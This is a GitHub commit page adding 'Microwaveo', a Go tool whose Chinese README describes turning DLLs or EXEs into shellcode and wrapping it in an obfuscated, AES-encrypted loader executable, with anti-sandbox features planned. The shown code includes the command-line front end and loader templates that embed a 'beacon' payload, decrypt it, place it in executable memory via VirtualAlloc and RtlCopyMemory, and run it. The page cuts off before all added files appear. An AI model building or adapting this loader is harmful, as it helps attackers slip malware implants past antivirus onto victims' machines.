-
Notifications
You must be signed in to change notification settings - Fork 46
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
15 changed files
with
908 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,56 @@ | ||
# Microwaveo | ||
|
||
一个小工具 微波炉加热一下dll | ||
|
||
1. 调用 go-donut 将dll/exe等转为shellcode | ||
2. 使用go模板构建shellcode的加载器 最后输出exe | ||
3. 也支持直接传入shellcode来构建最后的exe | ||
4. 最后的exe支持 garble混淆 | ||
|
||
## 注意 | ||
**因为是使用go 构建exe所以需要go的环境** | ||
|
||
## 使用 | ||
|
||
编译好的文件可以直接在 在这里 [releases](https://github.com/Ciyfly/microwaveo/releases) 下载 当然可以自己编译 | ||
|
||
```shell | ||
./microwaveo --help | ||
GLOBAL OPTIONS: | ||
--arch value, -a value shellcode arch x32 x64 x84 default x64 (default: "x64") | ||
--encrypt value, -e value encrypt the generated exe support aes default aes (default: "aes") | ||
--funcname value, --fn value dll func name | ||
--help, -h show help (default: false) | ||
--input value, -i value input file dll/exe/shellcode | ||
--obfuscate, --of obfuscate the generated exe using garble (default: false) | ||
--shellcodeFormat value, -s value output shellcode format hex bin default bin (default: "bin") | ||
--version, -v print the version (default: false) | ||
--white value, -w value bundled white files file path | ||
``` | ||
|
||
### 将dll转为exe | ||
|
||
```shell | ||
./microwaveo -i recar.dll -fn RunRecar | ||
``` | ||
|
||
### 将exe控制为32位 | ||
``` | ||
./microwaveo -i recar.dll -fn RunRecar -a x32 | ||
``` | ||
|
||
### 使用garble混淆最后的exe | ||
``` | ||
./microwaveo -i recar.dll -fn RunRecar --of | ||
``` | ||
需要安装 garble | ||
最简单的安装 使用 `go install mvdan.cc/garble@latest` 最后配置环境变量 | ||
|
||
|
||
## TODO | ||
|
||
1. 思考是不是可以将加载器做成多个模板的形式来处理 | ||
2. 增加一些反沙箱的东西 | ||
3. 待定 有任何想法欢迎与我交流 | ||
|
||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,119 @@ | ||
package main | ||
|
||
import ( | ||
"fmt" | ||
"microwaveo/conf" | ||
"microwaveo/pkg/cupboard" | ||
"microwaveo/pkg/logger" | ||
"microwaveo/pkg/utils" | ||
"os" | ||
"os/signal" | ||
"syscall" | ||
|
||
"github.com/urfave/cli/v2" | ||
) | ||
|
||
func SetupCloseHandler() { | ||
c := make(chan os.Signal) | ||
signal.Notify(c, syscall.SIGHUP, syscall.SIGINT, syscall.SIGTERM, syscall.SIGQUIT, os.Interrupt, os.Kill, syscall.SIGKILL) | ||
go func() { | ||
s := <-c | ||
fmt.Println(fmt.Sprintf("recv signal: %d", s)) | ||
fmt.Println("ctrl+c exit") | ||
os.Exit(0) | ||
}() | ||
} | ||
|
||
func init() { | ||
logger.Init() | ||
conf.Init() | ||
} | ||
func main() { | ||
SetupCloseHandler() | ||
app := cli.NewApp() | ||
app.Name = "mcrowaveo" | ||
app.Usage = "mcrowaveo -i test.dll " | ||
app.Version = "0.1" | ||
app.Flags = []cli.Flag{ | ||
&cli.StringFlag{ | ||
Name: "input", | ||
Aliases: []string{"i"}, | ||
Usage: "input file dll/exe/shellcode", | ||
}, | ||
&cli.StringFlag{ | ||
Name: "arch", | ||
Aliases: []string{"a"}, | ||
Value: "x64", | ||
Usage: "shellcode arch x32 x64 x84 default x64", | ||
}, | ||
&cli.StringFlag{ | ||
Name: "funcname", | ||
Aliases: []string{"fn"}, | ||
Usage: "dll func name", | ||
}, | ||
&cli.StringFlag{ | ||
Name: "shellcodeFormat", | ||
Aliases: []string{"s"}, | ||
Value: "bin", | ||
Usage: "output shellcode format hex bin default bin", | ||
}, | ||
&cli.BoolFlag{ | ||
Name: "obfuscate", | ||
Aliases: []string{"of"}, | ||
Usage: "obfuscate the generated exe using garble", | ||
}, | ||
//encrypt | ||
&cli.StringFlag{ | ||
Name: "encrypt", | ||
Aliases: []string{"e"}, | ||
Value: "aes", | ||
Usage: "encrypt the generated exe support aes default aes", | ||
}, | ||
&cli.StringFlag{ | ||
Name: "white", | ||
Aliases: []string{"w"}, | ||
Usage: "bundled white files file path", | ||
}, | ||
} | ||
app.Action = RunMain | ||
|
||
err := app.Run(os.Args) | ||
if err != nil { | ||
logger.Fatalf("cli.RunApp err: %s", err.Error()) | ||
return | ||
} | ||
} | ||
|
||
func RunMain(c *cli.Context) error { | ||
|
||
input := c.String("input") | ||
white := c.String("white") | ||
arch := c.String("arch") | ||
funcName := c.String("funcname") | ||
obfuscate := c.Bool("obfuscate") | ||
encrypt := c.String("encrypt") | ||
shellcodeFormat := c.String("shellcodeFormat") | ||
if input == "" { | ||
logger.Fatal("You need to enter the dll exe shellcode file path specified by -i") | ||
os.Exit(-1) | ||
} | ||
if utils.FileIsExist(input) == false { | ||
logger.Fatal("input file not exist") | ||
os.Exit(-1) | ||
} | ||
args := &cupboard.Cmdargs{ | ||
Input: input, | ||
Arch: arch, | ||
FuncName: funcName, | ||
ShellcodeFormat: shellcodeFormat, | ||
White: white, | ||
Obfuscate: obfuscate, | ||
Encrypt: encrypt, | ||
} | ||
conf.EnvironmentalTestGo() | ||
if obfuscate { | ||
conf.EnvironmentalTestGarble() | ||
} | ||
cupboard.Build(args) | ||
return nil | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,65 @@ | ||
package conf | ||
|
||
import ( | ||
_ "embed" | ||
"fmt" | ||
"io/ioutil" | ||
"microwaveo/pkg/utils" | ||
"os" | ||
"os/exec" | ||
"path" | ||
) | ||
|
||
//go:embed template/template.tmpl | ||
var t []byte | ||
|
||
//go:embed template/template_aes.tmpl | ||
var tAes []byte | ||
|
||
//go:embed template/template_aes_white.tmpl | ||
var tAesWhite []byte | ||
|
||
func initDir(p string) { | ||
if !utils.FileIsExist(p) { | ||
os.Mkdir(p, 0666) | ||
} | ||
} | ||
|
||
func initTemplate(tName string, content []byte) { | ||
tmplPath := path.Join(utils.GetCurrentDirectory(), "conf", "template", tName) | ||
if !utils.FileIsExist(tmplPath) { | ||
ioutil.WriteFile(tmplPath, content, 0666) | ||
} | ||
} | ||
|
||
func Init() { | ||
confParh := path.Join(utils.GetCurrentDirectory(), "conf") | ||
initDir(confParh) | ||
templateParh := path.Join(confParh, "template") | ||
initDir(templateParh) | ||
staticPath := path.Join(templateParh, "static") | ||
initDir(staticPath) | ||
// template | ||
initTemplate("template.tmpl", t) | ||
initTemplate("template_aes.tmpl", tAes) | ||
initTemplate("template_aes_white.tmpl", tAesWhite) | ||
} | ||
|
||
func EnvironmentalTestGo() { | ||
// 需要go 环境 还有garble | ||
goCmd := exec.Command("go", "version") | ||
goErr := goCmd.Run() | ||
if goErr != nil { | ||
fmt.Println("you need to install go for build exe: https://studygolang.com/dl") | ||
os.Exit(-1) | ||
} | ||
} | ||
|
||
func EnvironmentalTestGarble() { | ||
garbleCmd := exec.Command("garble", "version") | ||
garbleErr := garbleCmd.Run() | ||
if garbleErr != nil { | ||
fmt.Println("You need to install garble for compilation: go install mvdan.cc/garble@latest") | ||
os.Exit(-1) | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,45 @@ | ||
package main | ||
|
||
import ( | ||
_ "embed" | ||
"syscall" | ||
"unsafe" | ||
) | ||
|
||
//go:embed static/tmp.bin | ||
var beacon []byte | ||
|
||
// shellcode | ||
const ( | ||
MEM_COMMIT = 0x1000 | ||
MEM_RESERVE = 0x2000 | ||
PAGE_EXECUTE_READWRITE = 0x40 | ||
KEY_1 = 55 | ||
KEY_2 = 66 | ||
) | ||
|
||
var ( | ||
kernel32 = syscall.MustLoadDLL("kernel32.dll") | ||
ntdll = syscall.MustLoadDLL("ntdll.dll") | ||
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") | ||
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") | ||
) | ||
|
||
func Run(shellcodeBeacon []byte) { | ||
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 | ||
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 | ||
syscall.Syscall(addr, 0, 0, 0, 0) | ||
} | ||
|
||
func shellcoeRun(code []byte) { | ||
Run(code) | ||
} | ||
|
||
func main() { | ||
defer func() { | ||
if v := recover(); v != nil { | ||
return | ||
} | ||
}() | ||
shellcoeRun(beacon) | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,78 @@ | ||
package main | ||
|
||
import ( | ||
"bytes" | ||
"crypto/aes" | ||
"crypto/cipher" | ||
_ "embed" | ||
"syscall" | ||
"unsafe" | ||
) | ||
|
||
//go:embed static/tmp.bin | ||
var beacon []byte | ||
|
||
|
||
// shellcode | ||
const ( | ||
MEM_COMMIT = 0x1000 | ||
MEM_RESERVE = 0x2000 | ||
PAGE_EXECUTE_READWRITE = 0x40 | ||
KEY_1 = 55 | ||
KEY_2 = 66 | ||
) | ||
|
||
var ( | ||
kernel32 = syscall.MustLoadDLL("kernel32.dll") | ||
ntdll = syscall.MustLoadDLL("ntdll.dll") | ||
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc") | ||
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory") | ||
) | ||
|
||
func Run(shellcodeBeacon []byte) { | ||
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcodeBeacon)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE) // 为shellcode申请内存空间 | ||
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcodeBeacon[0])), uintptr(len(shellcodeBeacon))) // 将shellcode内存复制到申请出来的内存空间中 | ||
syscall.Syscall(addr, 0, 0, 0, 0) | ||
} | ||
|
||
func PKCS7Padding(ciphertext []byte, blockSize int) []byte { | ||
padding := blockSize - len(ciphertext)%blockSize | ||
padtext := bytes.Repeat([]byte{byte(padding)}, padding) | ||
return append(ciphertext, padtext...) | ||
} | ||
|
||
func PKCS7UnPadding(origData []byte) []byte { | ||
length := len(origData) | ||
unpadding := int(origData[length-1]) | ||
return origData[:(length - unpadding)] | ||
} | ||
|
||
//AES解密 | ||
func AesDecrypt(crypted, key []byte) ([]byte, error) { | ||
block, err := aes.NewCipher(key) | ||
if err != nil { | ||
return nil, err | ||
} | ||
blockSize := block.BlockSize() | ||
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize]) | ||
origData := make([]byte, len(crypted)) | ||
blockMode.CryptBlocks(origData, crypted) | ||
origData = PKCS7UnPadding(origData) | ||
return origData, nil | ||
} | ||
|
||
func shellcoeRun(encrypteds []byte, aesKey string) { | ||
origin, _ := AesDecrypt(encrypteds, []byte(aesKey)) | ||
Run([]byte(origin)) | ||
} | ||
|
||
func main() { | ||
defer func() { | ||
if v := recover(); v != nil { | ||
return | ||
} | ||
}() | ||
// shellcode | ||
key := "{{.AesKey}}" | ||
shellcoeRun(beacon, key) | ||
} |
Oops, something went wrong.